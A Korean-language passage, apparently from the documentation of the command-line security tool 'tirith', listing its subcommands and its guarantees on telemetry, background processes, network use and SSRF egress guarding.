    tirith ecosystem scan [path]프로젝트의 모든 선언된 종속성 점수
    tirith mcp {lock,verify}저장소의 MCP 서버 고정 및 게이트
    tirith daemon start백그라운드 데몬으로 빠른 검사 (유닉스)
    tirith paste
    트리거하지 않으며
  • 명령어 재작성 없음: tirith는 입력한 내용을 수정하지 않습니다.
  • 텔레메트리 없음: 분석, 충돌 보고, 홈 호출 동작이 없습니다.
  • 기본적으로 장기 실행 백그라운드 프로세스 없음: tirith는 명령어마다 호출되고 즉시 종료됩니다. 위의 위협 DB 갱신은 단기 분리 업데이트이며 상주 프로세스가 아닙니다. 선택적 tirith daemon start가 유일한 상주 프로세스이며, 옵트인 방식입니다.
  • 네트워크는 사용자가 요청하거나 설정하거나 위협 DB 갱신 시에만: run, fetch, audit report --upload는 명시적 호출 시에만 네트워크에 연결됩니다. 위협 DB 갱신은 위 일정을 따릅니다. 데몬 모드는 네트워크 인식 URL 확인을 추가하며, 선택적 웹훅/정책 서버 통합은 설정 시 아웃바운드 요청을 할 수 있습니다. 핵심 탐지는 홈 호출을 하지 않습니다.
  • 가져오기 시 이그레스 가드: tirith run, fetch --save, command-card fetch는 기본적으로 개인, 루프백, 클라우드 메타데이터 호스트를 거부하며, SSRF 가드가 모든 리디렉션 홉을 다시 확인합니다. TIRITH_ALLOW_PRIVATE_FETCH=1로 설정하면 허용합니다.